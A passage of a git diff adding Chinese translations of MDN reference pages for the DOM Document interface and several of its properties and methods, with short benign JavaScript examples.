Accessors</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/height/index.html b/files/zh-cn/web/api/document/height/index.html new file mode 100644 index 0000000000..8ace6753ec --- /dev/null +++ b/files/zh-cn/web/api/document/height/index.html @@ -0,0 +1,50 @@ +--- +title: Document.height +slug: Web/API/Document/height +translation_of: Web/API/Document/height +--- +<div>{{APIRef("DOM")}} {{Obsolete_header}}</div> + +<p> </p> + +<div class="note"> +<p><strong>Note:</strong> 在Gecko的6.0版本之后， <code>document.height</code> 不再被支持。 使用 <code>document.body.clientHeight来代替</code>. 详见 {{domxref("element.clientHeight")}}.</p> +</div> + +<p>返回 {{domxref("document")}} 对象的高度. 在大多数场景中， 它相当于当前文档的 {{HTMLElement("body")}} 元素。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox notranslate"><var>pixels</var> = document.height +</pre> + +<h2 id="示例">示例</h2> + +<pre class="brush: js notranslate">// alert document height +alert(document.height); +</pre> + +<h2 id="可选操作">可选操作</h2> + +<pre class="syntaxbox notranslate">document.body.clientHeight +document.documentElement.clientHeight +document.documentElement.scrollHeight +</pre> + +<h2 id="规范">规范</h2> + +<p>HTML5</p> + +<h2 id="兼容性">兼容性</h2> + + + +<p>{{Compat("api.Document.height")}}</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li>{{domxref("document.width")}}</li> + <li>{{domxref("Element.clientHeight")}}</li> + <li>{{domxref("Element.scrollHeight")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/hidden/index.html b/files/zh-cn/web/api/document/hidden/index.html new file mode 100644 index 0000000000..f9db5934d8 --- /dev/null +++ b/files/zh-cn/web/api/document/hidden/index.html @@ -0,0 +1,44 @@ +--- +title: Document.hidden +slug: Web/API/Document/hidden +translation_of: Web/API/Document/hidden +--- +<p>{{ ApiRef("DOM") }}</p> + +<p><code><strong>Document.hidden</strong></code> （只读属性）返回布尔值，表示页面是（true）否（false）隐藏。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <em>string</em> = document.hidden</pre> + +<h2 id="例子">例子</h2> + +<pre class="brush:js;">document.addEventListener("visibilitychange", function() { + console.log( document.hidden ); + // Modify behavior... +});</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Specification</th> + <th>Status</th> + <th>Comment</th> + </tr> + <tr> + <td>{{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}}</td> + <td>{{Spec2('Page Visibility API')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<article> +<p>{{Compat("api.Document.hidden")}}</p> +</article> diff --git a/files/zh-cn/web/api/document/images/index.html b/files/zh-cn/web/api/document/images/index.html new file mode 100644 index 0000000000..03ee6eb75d --- /dev/null +++ b/files/zh-cn/web/api/document/images/index.html @@ -0,0 +1,65 @@ +--- +title: document.images +slug: Web/API/Document/images +translation_of: Web/API/Document/images +--- +<div>{{APIRef("DOM")}}</div> + +<p>{{domxref("Document")}} 接口的只读属性images返回当前文档中所有 <a href="/zh-cn/DOM/Image" title="zh-cn/DOM/Image">image</a> 元素的集合.</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><em>var imageCollection</em> = document.images;</pre> + +<h3 id="值">值</h3> + +<p>一个 {{domxref("HTMLCollection")}}，提供了包含在该文档中的所有images元素实时的列表。 集合中的每条代表了一个单image元素的{{domxref("HTMLImageElement")}}</p> + +<h2 id="备注">备注</h2> + +<p>你可以在返回的结果中使用JavaScript 数组符号('[]'，译注)，或者{{domxref("HTMLCollection.item", "item()")}} 方法去获取集合中的每个元素。下面方法是等价的：</p> + +<pre class="brush: js">firstImage = imageCollection.item(0); + +firstImage = imageCollection[0];</pre> + +<h2 id="Example" name="Example">例子</h2> + +<p>该例是一次通过遍历图片列表找到名称为<code>"banner.gif"</code>的图片。</p> + +<pre class="brush: js">var ilist = document.images; +for(var i = 0; i < ilist.length; i++) { + if(ilist[i].src == "banner.gif") { + // 发现了banner图片 + } +}</pre> + +<h2 id="Specifications" name="Specifications">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-images', 'Document.images')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-90379117', 'Document.images')}}</td> + <td>{{ Spec2('DOM2 Events') }}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.images")}}</p> diff --git a/files/zh-cn/web/api/document/implementation/index.html b/files/zh-cn/web/api/document/implementation/index.html new file mode 100644 index 0000000000..473cf729a7 --- /dev/null +++ b/files/zh-cn/web/api/document/implementation/index.html @@ -0,0 +1,68 @@ +--- +title: document.implementation +slug: Web/API/Document/implementation +translation_of: Web/API/Document/implementation +--- +<div> + {{ApiRef}}</div> +<h2 id="概要">概要</h2> +<p>返回一个和当前文档相关联的{{domxref("DOMImplementation")}}对象。</p> +<h2 id="语法">语法</h2> +<pre class="syntaxbox"><var>DOMImpObj</var> = document.implementation; +</pre> +<h2 id="示例">示例</h2> +<pre class="brush: js">var modName = "HTML"; +var modVer = "2.0"; +var conformTest = document.implementation.hasFeature( modName, modVer ); + +alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest ); + +// alerts with: "DOM HTML 2.0 supported?: true" if DOM Level 2 HTML module is supported. +</pre> +<p>可以在<a href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance-h2" style="line-height: 1.5;">一致性章节</a>中查看可用的一系列DOM2级模型名称<span style="line-height: 1.5;">（例如：Core, HTML, XML等等）。</span></p> +<h2 id="说明">说明</h2> +<p>W3C的DOM1级建议值规定了一种检测浏览器对某个DOM模型是否支持的方法——<code>hasFeature方法</code>（请参考上边的例子以及这篇文章 <a href="http://www.w3.org/2003/02/06-dom-support.html">What does your user agent claim to support?</a>）。如果它可用的话，那么<code>DOMImplementation接口的其他方法就可以为操作文档以外的内容提供一些服务了。例如，</code><code>DOMImplementation接口包含一个</code><code>createDocumentType方法，它可以为实例管理的文档创建对应的DTD文档定义。</code></p> +<h2 id="方法">方法</h2> +<table class="standard-table"> + <tbody> + <tr> + <th>名称</th> + <th>动作</th> + <th>返回值</th> + </tr> + <tr> + <td>{{domxref("DOMImplementation.createDocument","createDocument")}} (<code>namespaceURI</code>, <code>qualifiedNameStr</code>, {{domxref("DocumentType")}} )</td> + <td> </td> + <td>{{domxref("document")}}</td> + </tr> + <tr> + <td>{{domxref("DOMImplementation.createDocumentType","createDocumentType")}} ( <code>qualifiedNameStr</code>, <code>publicId</code>, <code>systemId</code> )</td> + <td> </td> + <td>{{domxref("DocumentType")}}</td> + </tr> + <tr> + <td>{{domxref("DOMImplementation.createHTMLDocument","createHTMLDocument")}} ( <code>title</code> )</td> + <td> </td> + <td>{{domxref("document")}}</td> + </tr> + <tr> + <td>{{domxref("DOMImplementation.getFeature","getFeature")}} ( <code>feature</code>, <code>version</code> )</td> + <td> </td> + <td>{{domxref("DOMObject")}}</td> + </tr> + <tr> + <td>{{domxref("DOMImplementation.hasFeature","hasFeature")}} ( <code>feature</code>, <code>version</code> )</td> + <td> </td> + <td>{{domxref("Boolean")}}</td> + </tr> + </tbody> +</table> +<h2 id="规范">规范</h2> +<ul> + <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-102161490">DOM2级核心: implementation</a></li> + <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-102161490">DOM3级核心: implementation</a></li> +</ul> +<h2 id="Gecko引擎的特别说明">Gecko引擎的特别说明</h2> +<ul> + <li>从Gecko 19.0 {{geckoRelease("19.0")}}开始{{domxref("DOMImplementation.hasFeature","hasFeature")}}方法总是返回true。</li> +</ul> diff --git a/files/zh-cn/web/api/document/importnode/index.html b/files/zh-cn/web/api/document/importnode/index.html new file mode 100644 index 0000000000..0f49c8554d --- /dev/null +++ b/files/zh-cn/web/api/document/importnode/index.html @@ -0,0 +1,69 @@ +--- +title: document.importNode +slug: Web/API/Document/importNode +translation_of: Web/API/Document/importNode +--- +<p>{{ ApiRef() }}</p> + +<h2 id="Summary" name="Summary">概述</h2> + +<p>将外部文档的一个节点拷贝一份,然后可以把这个拷贝的节点插入到当前文档中.</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="eval">var <em>node</em> = <em>document</em>.importNode(<em>externalNode</em>, <em>deep</em>); +</pre> + +<dl> + <dt><code>node</code></dt> + <dd>导入当前文档的新节点. 新节点的 <code><a href="/zh-cn/DOM/Node.parentNode" title="zh-cn/DOM/Node.parentNode">parentNode</a></code> 是 <code>null</code>, 因为它还没有插入当前文档的文档树中,属于游离状态.</dd> + <dt><code>externalNode</code></dt> + <dd>将要从外部文档导入的节点.</dd> + <dt><code>deep</code> {{ optional_inline() }}</dt> + <dd>一个布尔值,表明是否要导入节点的后代节点.</dd> +</dl> + +<div class="note"> +<p><strong>注意:</strong> 在DOM4规范中 (实现于Gecko 10.0 {{ geckoRelease("10.0") }}) ,<code>deep</code> 是个可选的参数. 如果省略不写,则使用默认值 <code>true</code>, 表示深度克隆. 如果你想使用浅克隆,则传入false参数.</p> + +<p>在没有实现DOM4的浏览器中, 这个参数不可以省略.</p> +</div> + +<h2 id="Example" name="Example">例子</h2> + +<pre class="brush: js">var iframe = document.getElementsByTagName("iframe")[0]; +var oldNode = iframe.contentDocument.getElementById("myNode"); +var newNode = document.importNode(oldNode, true); +document.getElementById("container").appendChild(newNode); +</pre> + +<h2 id="Notes" name="Notes">备注</h2> + +<p>源节点不会从外部文档中删除,被导入的节点是源节点的一个拷贝.</p> + +<p> </p> + +<p>将外部文档的节点插入当前文档之前,你必须使用 <a href="/zh-CN/docs/Web/API/Document/importNode" title="将外部文档的一个节点拷贝一份,然后可以把这个拷贝的节点插入到当前文档中."><code>document.importNode()</code></a> 从外部文档导入源节点,或者使用 <a href="/zh-CN/docs/Web/API/Document/adoptNode" title="从其他的document文档中获取一个节点。 该节点以及它的子树上的所有节点都会从原文档删除 (如果有这个节点的话), 并且它的ownerDocument 属性会变成当前的document文档。 之后你可以把这个节点插入到当前文档中。"><code>document.adoptNode()</code></a>导入源节点, 想要了解更多的 <a href="/zh-CN/docs/Web/API/Node/ownerDocument" title="Node.ownerDocument 只读属性会返回当前节点的顶层的 document 对象。"><code>Node.ownerDocument</code></a> 问题,请参考 <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p> + +<p>即使你不执行导入动作,就执行插入外部文档中的节点.Firefox目前也不会报错(如果严格按标准执行,很多已有的网站都无法正常运行). 我们鼓励开发者严格按标准修改自己已有的不符合上述标准的代码.</p> + +<p> </p> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.importNode")}}</p> + +<h2 id="Specification" name="Specification">规范</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#Core-Document-importNode">DOM Level 2 Core: Document.importNode</a></li> + <li><a class="external" href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-importnode">DOM4 (draft): Document.importNode</a></li> +</ul> + +<h2 id="相关介绍">相关介绍</h2> + +<ul> + <li>{{ domxref("document.adoptNode()") }}</li> +</ul> diff --git a/files/zh-cn/web/api/document/index.html b/files/zh-cn/web/api/document/index.html new file mode 100644 index 0000000000..838834ffb7 --- /dev/null +++ b/files/zh-cn/web/api/document/index.html @@ -0,0 +1,673 @@ +--- +title: Document +slug: Web/API/Document +tags: + - API + - DOM + - Document + - 参考 + - 接口 +translation_of: Web/API/Document +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>Document</code></strong> 接口表示任何在浏览器中载入的网页，并作为网页内容的入口，也就是<a href="https://developer.mozilla.org/en-US/docs/Using_the_W3C_DOM_Level_1_Core">DOM 树</a>。DOM 树包含了像 {{HTMLElement("body")}} 、{{HTMLElement("table")}} 这样的元素，以及<a href="/zh-CN/docs/Web/HTML/Element">大量其他元素</a>。它向网页文档本身提供了全局操作功能，能解决如何获取页面的 URL ，如何在文档中创建一个新的元素这样的问题。</p> + +<p>{{inheritanceDiagram}}</p> + +<p><code>Document</code> 接口描述了任何类型的文档的通用属性与方法。根据不同的文档类型（例如<a href="/en-US/docs/HTML" title="HTML">HTML</a>、<a href="/en-US/docs/XML" title="XML">XML</a>、<a href="/zh-CN/docs/Web/SVG">SVG</a>，...），还能使用更多 API：使用 <code>"text/html"</code> 作为内容类型（content type）的 HTML 文档，还实现了 {{DOMxRef("HTMLDocument")}} 接口，而 XML 和 SVG 文档则（额外）实现了 {{DOMxRef("XMLDocument")}} 接口。</p> + +<h2 id="构造器">构造器</h2> + +<dl> + <dt>{{DOMxRef("Document.Document","Document()")}}</dt> + <dd>创建一个新的 <code>Document</code> 对象。</dd> +</dl> + +<h2 id="属性">属性</h2> + +<p><em>此接口也继承自 {{DOMxRef("Node")}} 和 {{DOMxRef("EventTarget")}} 接口。</em></p> + +<dl> + <dt>{{DOMxRef("Document.all")}} {{ReadOnlyInline}} {{Experimental_Inline}}</dt> + <dd>返回一个以文档节点为根节点的 {{DOMxRef('HTMLAllCollection')}} 集合。换句话说，它能返回页面的完整内容。</dd> + <dt>{{DOMxRef("Document.anchors")}} {{ReadOnlyInline}}</dt> + <dd>返回文档中所有锚点元素的列表。</dd> + <dt>{{DOMxRef("Document.body")}}</dt> + <dd>返回当前文档的 {{HTMLElement("body")}} 或 {{htmlelement("frameset")}} 节点。</dd> + <dt>{{DOMxRef("Document.characterSet")}} {{ReadOnlyInline}}</dt> + <dd>返回文档正在使用的字符集。</dd> + <dt>{{DOMxRef("Document.compatMode")}} {{ReadOnlyInline}} {{Experimental_Inline}}</dt> + <dd>指示文档是否以 <em>quirks</em> 怪异模式或 <em>strict</em> 严格模式呈现。</dd> + <dt>{{DOMxRef("Document.contentType")}} {{ReadOnlyInline}} {{Experimental_Inline}}</dt> + <dd>根据当前文档的 MIME Header，返回它的 Content-Type。</dd> + <dt>{{DOMxRef("Document.doctype")}} {{ReadOnlyInline}}</dt> + <dd>返回当前文档的文档类型定义（Document Type Definition, DTD）。</dd> + <dt>{{DOMxRef("Document.documentElement")}} {{ReadOnlyInline}}</dt> + <dd>返回当前文档的直接子节点。对于 HTML 文档，{{DOMxRef("HTMLHtmlElement")}} 对象一般代表该文档的{{HTMLElement("html")}} 元素。</dd> + <dt>{{DOMxRef("Document.documentURI")}} {{ReadOnlyInline}}</dt> + <dd>以字符串的类型，返回当前文档的路径。</dd> + <dt>{{DOMxRef("Document.embeds")}} {{ReadOnlyInline}}</dt> + <dd>以列表(list)的类型，返回当前文档的嵌入式的元素 {{HTMLElement('embed')}} 。</dd> + <dt>{{DOMxRef("Document.fonts")}}</dt> + <dd>返回当前文档的 {{DOMxRef("FontFaceSet")}} 接口。</dd> + <dt>{{DOMxRef("Document.forms")}} {{ReadOnlyInline}}</dt> + <dd>返回一个包含当前文档中所有表单元素 {{HTMLElement("form")}} 的列表。</dd> + <dt>{{DOMxRef("Document.head")}} {{ReadOnlyInline}}</dt> + <dd>返回当前文档的 {{HTMLElement("head")}} 元素。</dd> + <dt>{{DOMxRef("Document.hidden")}} {{ReadOnlyInline}}</dt> + <dd>返回一个布尔值，表明当前页面是否隐藏。</dd> + <dt>{{DOMxRef("Document.images")}} {{ReadOnlyInline}}</dt> + <dd>返回当前文档中所包含的图片的列表。</dd> + <dt>{{DOMxRef("Document.implementation")}} {{ReadOnlyInline}}</dt> + <dd>返回与当前文档相关联的 DOM 实现。</dd> + <dt>{{DOMxRef("Document.lastStyleSheetSet")}} {{ReadOnlyInline}}</dt> + <dd>返回最后启用样式表的名字。在设置{{DOMxRef("document.selectedStyleSheetSet","selectedStyleSheetSet")}} 前值都为 <code>null</code> 。 </dd> + <dt>{{DOMxRef("Document.links")}} {{ReadOnlyInline}}</dt> + <dd>返回一个包含文档中所有超链接的列表。</dd> + <dt>{{DOMxRef("Document.mozSyntheticDocument")}} {{Non-standard_Inline}}</dt> + <dd>返回 {{JSxRef("Boolean")}} ，仅当此文件是合成的（例如独立图像，视频，音频文件等）时才为 <code>true</code> 。</dd> + <dt>{{DOMxRef("Document.plugins")}} {{ReadOnlyInline}}</dt> + <dd>返回一个可用插件列表。</dd> + <dt>{{DOMxRef("Document.featurePolicy")}} {{ReadOnlyInline}} {{Experimental_Inline}}</dt> + <dd>返回 {{DOMxRef("FeaturePolicy")}} interface which provides a simple API for introspecting the feature policies applied to a specific document.</dd> + <dt>{{DOMxRef("Document.preferredStyleSheetSet")}} {{ReadOnlyInline}}</dt> + <dd>返回 preferred style sheet set as specified by the page author.</dd> + <dt>{{DOMxRef("Document.scripts")}} {{ReadOnlyInline}}</dt> + <dd>返回文档中所有的 {{HTMLElement("script")}} 元素。</dd> + <dt>{{DOMxRef("Document.scrollingElement")}} {{ReadOnlyInline}}</dt> + <dd>返回对文档 {{DOMxRef("Element")}} 元素的引用。</dd> + <dt>{{DOMxRef("Document.selectedStyleSheetSet")}}</dt> + <dd>返回当前正使用的样式表集。</dd> + <dt>{{DOMxRef("Document.styleSheetSets")}} {{ReadOnlyInline}}</dt> + <dd>返回文档上可用样式表的列表。</dd> + <dt>{{DOMxRef("Document.timeline")}} {{ReadOnlyInline}}</dt> + <dd>返回 {{domxref("DocumentTimeline")}} 的一个实例，该实例是在页面加载时自动创建的。</dd> + <dt>{{DOMxRef("Document.undoManager")}} {{ReadOnlyInline}} {{Experimental_Inline}}</dt> + <dd>…</dd> + <dt>{{DOMxRef("Document.visibilityState")}} {{ReadOnlyInline}}</dt> + <dd>返回 <code>string</code> 表明当前文档的可见性。可能的取值有 <code>visible</code>, <code>hidden</code>, <code>prerender</code>, and <code>unloaded 。</code></dd> +</dl> + +<p><code>Document</code> 接口继承自 {{DOMxRef("ParentNode")}} 的接口：</p> + +<p>{{page("/en-US/docs/Web/API/ParentNode","Properties")}}</p> + +<h3 id="HTMLDocument_的扩展">HTMLDocument 的扩展</h3> + +<p><em>HTML 文件的 <code>Document</code> 接口继承自</em><em> {{DOMxRef("HTMLDocument")}} 接口（从 HTML5 扩展）：</em></p> + +<dl> + <dt>{{DOMxRef("Document.cookie")}}</dt> + <dd>返回一个使用分号分隔的 cookie 列表，或设置（写入）一个 cookie。</dd> + <dt>{{DOMxRef("Document.defaultView")}} {{ReadOnlyInline}}</dt> + <dd>返回一个对（当前） <code>window</code> 对象的引用。</dd> + <dt>{{DOMxRef("Document.designMode")}}</dt> + <dd>获取或设置（让用户）编辑整个文档的能力。</dd> + <dt>{{DOMxRef("Document.dir")}} {{ReadOnlyInline}}</dt> + <dd>获取或设置文档的文字方向（rtl 或 ltr）。</dd> + <dt>{{DOMxRef("Document.domain")}}</dt> + <dd>获取或设置当前文档的域名。</dd> + <dt>{{DOMxRef("Document.lastModified")}} {{ReadOnlyInline}}</dt> + <dd>返回文档最后修改的时间。</dd> + <dt>{{DOMxRef("Document.location")}} {{ReadOnlyInline}}</dt> + <dd>返回当前文档的 URI。</dd> + <dt>{{DOMxRef("Document.readyState")}} {{ReadOnlyInline}}</dt> + <dd>返回当前文档的加载状态。</dd> + <dt>{{DOMxRef("Document.referrer")}} {{ReadOnlyInline}}</dt> + <dd>返回来源页面的 URI。</dd> + <dt>{{DOMxRef("Document.title")}}</dt> + <dd>获取或设置当前文档的标题。</dd> + <dt>{{DOMxRef("Document.URL")}} {{ReadOnlyInline}}</dt> + <dd>以字符串形式返回文档的地址栏链接。</dd> +</dl> + +<h3 id="DocumentOrShadowRoot_包含的属性">DocumentOrShadowRoot 包含的属性</h3> + +<p><em><code>Document</code> 接口混入（mixin）{{DOMxRef("DocumentOrShadowRoot")}} 包含的属性。请注意，这些属性目前仅有 Chrome 实现；其他浏览器仍在 {{DOMxRef("Document")}} 接口上直接实现它们。.</em></p> + +<dl> + <dt>{{DOMxRef("DocumentOrShadowRoot.activeElement")}} {{ReadOnlyInline}}</dt> + <dd>返回阴影树内聚焦的 {{DOMxRef('Element')}} 。</dd> + <dt>{{DOMxRef("Document.fullscreenElement")}} {{ReadOnlyInline}}</dt> + <dd>当前文档处于全屏模式下的元素。</dd> + <dt>{{DOMxRef("DocumentOrShadowRoot.pointerLockElement")}} {{ReadOnlyInline}} {{Experimental_Inline}}</dt> + <dd>返回 element set as the target for mouse events while the pointer is locked. <code>null</code> if lock is pending, pointer is unlocked, or if the target is in another document.</dd> + <dt>{{DOMxRef("DocumentOrShadowRoot.styleSheets")}} {{ReadOnlyInline}}</dt> + <dd>Returns a {{DOMxRef('StyleSheetList')}} of {{DOMxRef('CSSStyleSheet')}} objects for stylesheets explicitly linked into, or embedded in a document.</dd> +</dl> + +<h3 id="Event_handlers">Event handlers</h3> + +<dl> + <dt>{{DOMxRef("Document.onafterscriptexecute")}} {{Non-standard_Inline}}</dt> + <dd>Represents the event handling code for the {{event("afterscriptexecute")}} event.</dd> + <dt>{{DOMxRef("Document.onbeforescriptexecute")}} {{Non-standard_Inline}}</dt> + <dd>Represents the event handling code for the {{event("beforescriptexecute")}} event.</dd> + <dt>{{DOMxRef("Document.oncopy")}} {{Non-standard_Inline}}</dt> + <dd>Represents the event handling code for the {{event("copy")}} event.</dd> + <dt>{{DOMxRef("Document.oncut")}} {{Non-standard_Inline}}</dt> + <dd>Represents the event handling code for the {{event("cut")}} event.</dd> + <dt>{{DOMxRef("Document.onfullscreenchange")}}</dt> + <dd>Is an {{DOMxRef("EventHandler")}} representing the code to be called when the {{event("fullscreenchange")}} event is raised.</dd> + <dt>{{DOMxRef("Document.onfullscreenerror")}}</dt> + <dd>Is an {{DOMxRef("EventHandler")}} representing the code to be called when the {{event("fullscreenerror")}} event is raised.</dd> + <dt>{{DOMxRef("Document.onpaste")}} {{Non-standard_Inline}}</dt> + <dd>Represents the event handling code for the {{event("paste")}} event.</dd> + <dt>{{DOMxRef("Document.onreadystatechange")}}</dt> + <dd>Represents the event handling code for the {{event("readystatechange")}} event.</dd> + <dt>{{DOMxRef("Document.onselectionchange")}} {{Experimental_Inline}}</dt> + <dd>Is an {{DOMxRef("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.</dd> + <dt>{{DOMxRef("Document.onvisibilitychange")}}</dt> + <dd>Is an {{DOMxRef("EventHandler")}} representing the code to be called when the {{event("visibilitychange")}} event is raised.</dd> +</dl> + +<p>The <code>Document</code> interface is extended with the {{DOMxRef("GlobalEventHandlers")}} interface:</p> + +<p>{{Page("/en-US/docs/Web/API/GlobalEventHandlers", "Properties")}}</p> + +<h3 id="Deprecated_properties">Deprecated properties</h3> + +<dl> + <dt>{{DOMxRef("Document.alinkColor")}} {{Deprecated_Inline}}</dt> + <dd>Returns or sets the color of active links in the document body.</dd> + <dt>{{DOMxRef("Document.all")}} {{Deprecated_Inline}} {{Non-standard_Inline}}</dt> + <dd>Provides access to all elements in the document. This is a legacy, non-standard property and should not be used.</dd> + <dt>{{DOMxRef("Document.applets")}} {{Deprecated_Inline}} {{ReadOnlyInline}}</dt> + <dd>Returns an ordered list of the applets within a document.</dd> + <dt>{{DOMxRef("Document.bgColor")}} {{Deprecated_Inline}}</dt> + <dd>获取或设置 the background color of 当前文档。</dd> + <dt>{{DOMxRef("Document.charset")}} {{ReadOnlyInline}} {{Deprecated_Inline}}</dt> + <dd>Alias of {{DOMxRef("Document.characterSet")}}. Use this property instead.</dd> + <dt>{{DOMxRef("Document.domConfig")}} {{Deprecated_Inline}}</dt> + <dd>Should return a {{DOMxRef("DOMConfiguration")}} 对象。</dd> + <dt>{{DOMxRef("document.fgColor")}} {{Deprecated_Inline}}</dt> + <dd>获取或设置 the foreground color, or text color, of 当前文档。</dd> + <dt>{{DOMxRef("Document.fullscreen")}} {{Obsolete_Inline}}</dt> + <dd><code>true</code> when the document is in {{DOMxRef("Using_full-screen_mode","full-screen mode")}}.</dd> + <dt>{{DOMxRef("Document.height")}} {{Non-standard_Inline}} {{Obsolete_Inline}}</dt> + <dd>获取或设置 the height of 当前文档。</dd> + <dt>{{DOMxRef("Document.inputEncoding")}} {{ReadOnlyInline}} {{Deprecated_Inline}}</dt> + <dd>Alias of {{DOMxRef("Document.characterSet")}}. Use this property instead.</dd> + <dt>{{DOMxRef("Document.linkColor")}} {{Deprecated_Inline}}</dt> + <dd>获取或设置 the color of hyperlinks in the document.</dd> + <dt>{{DOMxRef("Document.vlinkColor")}} {{Deprecated_Inline}}</dt> + <dd>获取或设置 the color of visited hyperlinks.</dd> + <dt>{{DOMxRef("Document.width")}} {{Non-standard_Inline}} {{Obsolete_Inline}}</dt> + <dd>返回 width of 当前文档。</dd> + <dt>{{DOMxRef("Document.xmlEncoding")}} {{Deprecated_Inline}}</dt> + <dd>返回 encoding as determined by the XML declaration.</dd> + <dt>{{DOMxRef("Document.xmlStandalone")}} {{Obsolete_Inline("10.0")}}</dt> + <dd>Returns <code>true</code> if the XML declaration specifies the document to be standalone (<em>e.g.,</em> An external part of the DTD affects the document's content), else <code>false</code>.</dd> + <dt>{{DOMxRef("Document.xmlVersion")}} {{Obsolete_Inline("10.0")}}</dt> + <dd>返回 version number as specified in the XML declaration or <code>"1.0"</code> if the declaration is absent.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>该接口同样继承了 {{DOMxRef("Node")}} 和 {{DOMxRef("EventTarget")}} 接口。</em></p> + +<dl> + <dt>{{DOMxRef("Document.adoptNode()")}}</dt> + <dd>从外部文档中采用节点。</dd> + <dt>{{DOMxRef("Document.captureEvents()")}} {{Deprecated_Inline}}</dt> + <dd>参见 {{DOMxRef("Window.captureEvents")}}。</dd> + <dt>{{DOMxRef("Document.caretRangeFromPoint()")}} {{Non-standard_Inline}}</dt> + <dd>Gets a {{DOMxRef("Range")}} object for the document fragment under the specified coordinates.</dd> + <dt>{{DOMxRef("Document.createAttribute()")}}</dt> + <dd>创建一个新的 {{DOMxRef("Attr")}} 对象并返回。</dd> + <dt>{{DOMxRef("Document.createAttributeNS()")}}</dt> + <dd>在给定命名空间创建一个新的属性节点并返回。</dd> + <dt>{{DOMxRef("Document.createCDATASection()")}}</dt> + <dd>创建一个新的数据节点（CDATA node）并返回。</dd> + <dt>{{DOMxRef("Document.createComment()")}}</dt> + <dd>创建一个新的注释节点并返回。</dd> + <dt>{{DOMxRef("Document.createDocumentFragment()")}}</dt> + <dd>创建一个新的文档片段。</dd> + <dt>{{DOMxRef("Document.createElement()")}}</dt> + <dd>用给定标签名 tagName 创建一个新的元素。</dd> + <dt>{{DOMxRef("Document.createElementNS()")}}</dt> + <dd>用给定标签名 tagName 和命名空间创建一个新的元素。</dd> + <dt>{{DOMxRef("Document.createEntityReference()")}} {{Obsolete_Inline}}</dt> + <dd>创建一个 new entity reference object and returns it.</dd> + <dt>{{DOMxRef("Document.createEvent()")}}</dt> + <dd>创建一个 event 对象。</dd> + <dt>{{DOMxRef("Document.createNodeIterator()")}}</dt> + <dd>创建一个 {{DOMxRef("NodeIterator")}} 对象。</dd> + <dt>{{DOMxRef("Document.createProcessingInstruction()")}}</dt> + <dd>创建一个 new {{DOMxRef("ProcessingInstruction")}} 对象。</dd> + <dt>{{DOMxRef("Document.createRange()")}}</dt> + <dd>创建一个 {{DOMxRef("Range")}} 对象。</dd> + <dt>{{DOMxRef("Document.createTextNode()")}}</dt> + <dd>创建一个 text node.</dd> + <dt>{{DOMxRef("Document.createTouch()")}} {{Deprecated_Inline}}</dt> + <dd>创建一个 {{DOMxRef("Touch")}} 对象。</dd> + <dt>{{DOMxRef("Document.createTouchList()")}}</dt> + <dd>创建一个 {{DOMxRef("TouchList")}} 对象。</dd> + <dt>{{DOMxRef("Document.createTreeWalker()")}}</dt> + <dd>创建一个 {{DOMxRef("TreeWalker")}} 对象。</dd> + <dt>{{DOMxRef("Document.enableStyleSheetsForSet()")}}</dt> + <dd>Enables the style sheets for the specified style sheet set.</dd> + <dt>{{DOMxRef("Document.exitPointerLock()")}} {{Experimental_Inline}}</dt> + <dd>Release the pointer lock.</dd> + <dt>{{DOMxRef("Document.getAnimations()")}} {{Experimental_Inline}}</dt> + <dd>Returns an array of all {{DOMxRef("Animation")}} objects currently in effect, whose target elements are descendants of the <code>document</code>.</dd> + <dt>{{DOMxRef("Document.getElementsByClassName()")}}</dt> + <dd>Returns a list of elements with the given class name.</dd> + <dt>{{DOMxRef("Document.getElementsByTagName()")}}</dt> + <dd>Returns a list of elements with the given tag name.</dd> + <dt>{{DOMxRef("Document.getElementsByTagNameNS()")}}</dt> + <dd>Returns a list of elements with the given tag name and namespace.</dd> + <dt>{{DOMxRef("Document.hasStorageAccess()")}}</dt> + <dd>Returns a {{jsxref("Promise")}} that resolves with a boolean value indicating whether the document has access to its first-party storage.</dd> + <dt>{{DOMxRef("Document.importNode()")}}</dt> + <dd>Returns a clone of a node from an external document.</dd> + <dt>{{DOMxRef("Document.normalizeDocument()")}} {{Obsolete_Inline}}</dt> + <dd>Replaces entities, normalizes text nodes, etc.</dd> + <dt>{{DOMxRef("Document.releaseCapture()")}} {{Non-standard_Inline}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>Releases the current mouse capture if it's on an element in this document.</dd> + <dt>{{DOMxRef("Document.releaseEvents()")}} {{Non-standard_Inline}} {{Deprecated_Inline}}</dt> + <dd>详见 {{DOMxRef("Window.releaseEvents()")}}。</dd> + 